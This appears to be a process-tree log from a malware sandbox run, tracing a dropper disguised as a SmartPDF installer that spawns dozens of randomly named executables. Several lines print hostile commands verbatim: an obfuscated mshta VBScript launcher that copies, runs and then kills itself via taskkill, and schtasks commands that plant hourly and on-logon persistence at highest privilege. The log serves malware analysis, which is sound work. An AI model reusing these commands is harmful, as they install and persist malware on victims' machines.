C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXEIQ0v_FE_.ExE -poRsuYEMryiLi5⤵
- Executes dropped EXE
PID:5288 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" VHTDDahA.G,XBvVyh6⤵PID:6116
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "EQJj5UNvgi7u0n20C7yQFH4E.exe" -F5⤵
- Kills process with taskkill
PID:4524
-
-
-
-
-
C:\Users\Admin\Documents\sgOXRgxzaec9yIPjRDKMsPz0.exe"C:\Users\Admin\Documents\sgOXRgxzaec9yIPjRDKMsPz0.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:820
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe"C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2524 -
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵
- Executes dropped EXE
PID:4172
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵
- Executes dropped EXE
PID:5576
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5676
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5544
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5452
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:4952
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:3896
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:6644
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:6356
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:6776
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5780
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:2120
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:7648
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5240
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:8520
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:6408
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5468
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:5756
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:3592
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:6268
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:8368
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:9876
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:6796
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:10996
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:9380
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:11132
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:4092
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:8360
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:12832
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:12500
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:8844
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:11644
-
-
C:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exeC:\Users\Admin\Documents\1kFQYeTZ1OPAUBV3U0PtKkE5.exe3⤵PID:13748
-
-
-
C:\Users\Admin\Documents\k5_eXNl0ezodpFmtzzrpsrY9.exe"C:\Users\Admin\Documents\k5_eXNl0ezodpFmtzzrpsrY9.exe"2⤵
- Executes dropped EXE
PID:3216 -
C:\Users\Admin\AppData\Local\Temp\is-0TDCB.tmp\k5_eXNl0ezodpFmtzzrpsrY9.tmp"C:\Users\Admin\AppData\Local\Temp\is-0TDCB.tmp\k5_eXNl0ezodpFmtzzrpsrY9.tmp" /SL5="$102B4,138429,56832,C:\Users\Admin\Documents\k5_eXNl0ezodpFmtzzrpsrY9.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:680 -
C:\Users\Admin\AppData\Local\Temp\is-TUFK7.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-TUFK7.tmp\Setup.exe" /Verysilent4⤵PID:5532
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"5⤵PID:4448
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6884
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6532
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6680
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5904
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6980
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6512
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:132
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6160
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7760
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9136
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8620
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8712
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7644
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7308
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:2924
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:4696
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8128
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6060
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9264
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9836
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵
- Executes dropped EXE
PID:1560
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10736
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:11676
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7952
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8060
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12100
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7248
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8640
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3824
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12492
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12340
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3752
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:1808
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:13848
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"5⤵PID:4956
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a6⤵PID:2844
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"5⤵PID:5848
-
C:\Users\Admin\AppData\Roaming\4918364.exe"C:\Users\Admin\AppData\Roaming\4918364.exe"6⤵PID:1720
-
-
C:\Users\Admin\AppData\Roaming\7000787.exe"C:\Users\Admin\AppData\Roaming\7000787.exe"6⤵PID:1736
-
-
C:\Users\Admin\AppData\Roaming\1048757.exe"C:\Users\Admin\AppData\Roaming\1048757.exe"6⤵PID:4068
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"5⤵PID:5836
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"5⤵PID:6168
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"5⤵PID:6868
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent5⤵PID:7004
-
C:\Users\Admin\AppData\Local\Temp\is-GDN79.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-GDN79.tmp\stats.tmp" /SL5="$20382,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent6⤵PID:6328
-
C:\Users\Admin\AppData\Local\Temp\is-QT9IH.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-QT9IH.tmp\Setup.exe" /Verysilent7⤵PID:9068
-
C:\Users\Admin\Documents\2xnpG1KyG0deh9PEzkYP23bz.exe"C:\Users\Admin\Documents\2xnpG1KyG0deh9PEzkYP23bz.exe"8⤵PID:12052
-
-
C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe"C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe"8⤵PID:7576
-
C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exeC:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe9⤵PID:6992
-
-
C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exeC:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe9⤵PID:4740
-
-
C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exeC:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe9⤵PID:8868
-
-
C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exeC:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe9⤵PID:11536
-
-
C:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exeC:\Users\Admin\Documents\1I2q5cHiIDiD1EcywMwyqo9t.exe9⤵PID:8180
-
-
-
C:\Users\Admin\Documents\9j_HQnnEjXRqL4I18guJKaKT.exe"C:\Users\Admin\Documents\9j_HQnnEjXRqL4I18guJKaKT.exe"8⤵PID:7480
-
-
C:\Users\Admin\Documents\3NI4v2gAT5uEfUB_xUBE8ovY.exe"C:\Users\Admin\Documents\3NI4v2gAT5uEfUB_xUBE8ovY.exe"8⤵PID:10044
-
C:\Users\Admin\Documents\3NI4v2gAT5uEfUB_xUBE8ovY.exe"C:\Users\Admin\Documents\3NI4v2gAT5uEfUB_xUBE8ovY.exe"9⤵PID:12068
-
-
-
C:\Users\Admin\Documents\0WYexEHFv7POZzs9kSdgGmfK.exe"C:\Users\Admin\Documents\0WYexEHFv7POZzs9kSdgGmfK.exe"8⤵PID:2452
-
-
C:\Users\Admin\Documents\QYpibt5CfrhjeNhThjhq7bN0.exe"C:\Users\Admin\Documents\QYpibt5CfrhjeNhThjhq7bN0.exe"8⤵PID:11088
-
-
C:\Users\Admin\Documents\RV5sdvmUNYkEKd1PRlDRFooH.exe"C:\Users\Admin\Documents\RV5sdvmUNYkEKd1PRlDRFooH.exe"8⤵PID:11084
-
-
C:\Users\Admin\Documents\o3DY4PhYrwVbm2g0siFs3l6x.exe"C:\Users\Admin\Documents\o3DY4PhYrwVbm2g0siFs3l6x.exe"8⤵PID:11060
-
-
C:\Users\Admin\Documents\RGZcW_vBavjzIhMCe8ak22yF.exe"C:\Users\Admin\Documents\RGZcW_vBavjzIhMCe8ak22yF.exe"8⤵PID:11008
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11008 -s 2809⤵
- Program crash
PID:13272
-
-
-
C:\Users\Admin\Documents\QlylOQbcZxPMaKXTeXmJ4LIi.exe"C:\Users\Admin\Documents\QlylOQbcZxPMaKXTeXmJ4LIi.exe"8⤵PID:8548
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:16004
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:15600
-
-
-
C:\Users\Admin\Documents\x7t69m8rX6cwq0uRk6C2rIUR.exe"C:\Users\Admin\Documents\x7t69m8rX6cwq0uRk6C2rIUR.exe"8⤵PID:10900
-
-
C:\Users\Admin\Documents\c_vWNM2VcAdqjIZdhIkNjlxY.exe"C:\Users\Admin\Documents\c_vWNM2VcAdqjIZdhIkNjlxY.exe"8⤵PID:10820
-
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe"C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe"8⤵PID:5812
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exeC:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe9⤵PID:11996
-
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exeC:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe9⤵PID:5952
-
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exeC:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe9⤵PID:15544
-
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exeC:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe9⤵PID:12904
-
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exeC:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe9⤵PID:17336
-
-
C:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exeC:\Users\Admin\Documents\g3NFCCGuCY9OoTL1TH4pZypv.exe9⤵PID:15420
-
-
-
C:\Users\Admin\Documents\IHiln8KC21maNSjQJhffXKJ6.exe"C:\Users\Admin\Documents\IHiln8KC21maNSjQJhffXKJ6.exe"8⤵PID:10264
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10264 -s 2409⤵
- Program crash
PID:1932
-
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe"C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe"8⤵PID:10756
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:11448
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:12888
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:13024
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:12844
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:11036
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:1072
-
-
C:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exeC:\Users\Admin\Documents\SGrYLvTOMfUyKZPoKuLKwQy2.exe9⤵PID:8376
-
-
-
C:\Users\Admin\Documents\UD1Gq6ghn0FxaAbpz5lD2EXw.exe"C:\Users\Admin\Documents\UD1Gq6ghn0FxaAbpz5lD2EXw.exe"8⤵PID:10960
-
-
C:\Users\Admin\Documents\OYyuGf6h0HmSaBokNwMwVg4q.exe"C:\Users\Admin\Documents\OYyuGf6h0HmSaBokNwMwVg4q.exe"8⤵PID:7476
-
-
C:\Users\Admin\Documents\mkZ9ysLCeRNEdLTwS24cWXIM.exe"C:\Users\Admin\Documents\mkZ9ysLCeRNEdLTwS24cWXIM.exe"8⤵PID:2148
-
-
C:\Users\Admin\Documents\o0n3Tv3osAAxRlHzXpGxBDOa.exe"C:\Users\Admin\Documents\o0n3Tv3osAAxRlHzXpGxBDOa.exe"8⤵PID:9684
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\KBAvfsr.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\KBAvfsr.exe"9⤵PID:12764
-
-
-
C:\Users\Admin\Documents\zWVyFuUSuHi_MLlY_VW07sO3.exe"C:\Users\Admin\Documents\zWVyFuUSuHi_MLlY_VW07sO3.exe"8⤵PID:2664
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\zWVyFuUSuHi_MLlY_VW07sO3.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\zWVyFuUSuHi_MLlY_VW07sO3.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))9⤵PID:12320
-
-
-
C:\Users\Admin\Documents\7Hj61csZbWw5QLoIAu8mVnU1.exe"C:\Users\Admin\Documents\7Hj61csZbWw5QLoIAu8mVnU1.exe"8⤵PID:10936
-
-
C:\Users\Admin\Documents\f51BDoavz4VkotjbnA9kgG2y.exe"C:\Users\Admin\Documents\f51BDoavz4VkotjbnA9kgG2y.exe"8⤵PID:8156
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8156 -s 2409⤵
- Program crash
PID:15492
-
-
-
C:\Users\Admin\Documents\R50vOycR_iNY_b7rIdVDtIqr.exe"C:\Users\Admin\Documents\R50vOycR_iNY_b7rIdVDtIqr.exe"8⤵PID:10928
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10928 -s 2809⤵
- Program crash
PID:5416
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\l4kg59xWiXPOimhRMgfNb1v1.exe"C:\Users\Admin\Documents\l4kg59xWiXPOimhRMgfNb1v1.exe"2⤵
- Executes dropped EXE
PID:3364 -
C:\Users\Admin\Documents\l4kg59xWiXPOimhRMgfNb1v1.exe"C:\Users\Admin\Documents\l4kg59xWiXPOimhRMgfNb1v1.exe" -u3⤵
- Executes dropped EXE
PID:4512
-
-
-
C:\Users\Admin\Documents\XyRVwaYii5yh25iU6roq64sK.exe"C:\Users\Admin\Documents\XyRVwaYii5yh25iU6roq64sK.exe"2⤵
- Executes dropped EXE
PID:4340 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3428
-
-
-
C:\Users\Admin\Documents\cJ6gvMPBuUmOHVuck682d917.exe"C:\Users\Admin\Documents\cJ6gvMPBuUmOHVuck682d917.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1060
-
-
C:\Users\Admin\Documents\UjisC_jrMrU6YQE8kaQZBKYW.exe"C:\Users\Admin\Documents\UjisC_jrMrU6YQE8kaQZBKYW.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1040
-
-
C:\Users\Admin\Documents\g29oe1eL617QWKHBOzTN2Zln.exe"C:\Users\Admin\Documents\g29oe1eL617QWKHBOzTN2Zln.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1524
-
-
C:\Users\Admin\Documents\y5RvqWf6RC2mLTNqIAKFBy4p.exe"C:\Users\Admin\Documents\y5RvqWf6RC2mLTNqIAKFBy4p.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3492 -
C:\Users\Admin\AppData\Roaming\7858770.exe"C:\Users\Admin\AppData\Roaming\7858770.exe"3⤵
- Executes dropped EXE
PID:4564 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4564 -s 23644⤵
- Program crash
PID:5936
-
-
-
C:\Users\Admin\AppData\Roaming\6167092.exe"C:\Users\Admin\AppData\Roaming\6167092.exe"3⤵PID:5764
-
-
C:\Users\Admin\AppData\Roaming\7615207.exe"C:\Users\Admin\AppData\Roaming\7615207.exe"3⤵PID:5708
-
-
C:\Users\Admin\AppData\Roaming\1368669.exe"C:\Users\Admin\AppData\Roaming\1368669.exe"3⤵PID:1560
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵PID:1712
-
-
-
C:\Users\Admin\AppData\Roaming\7981712.exe"C:\Users\Admin\AppData\Roaming\7981712.exe"3⤵PID:5896
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:3564
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 436 -ip 4361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3720
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3948
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4340 -ip 43401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4000
-
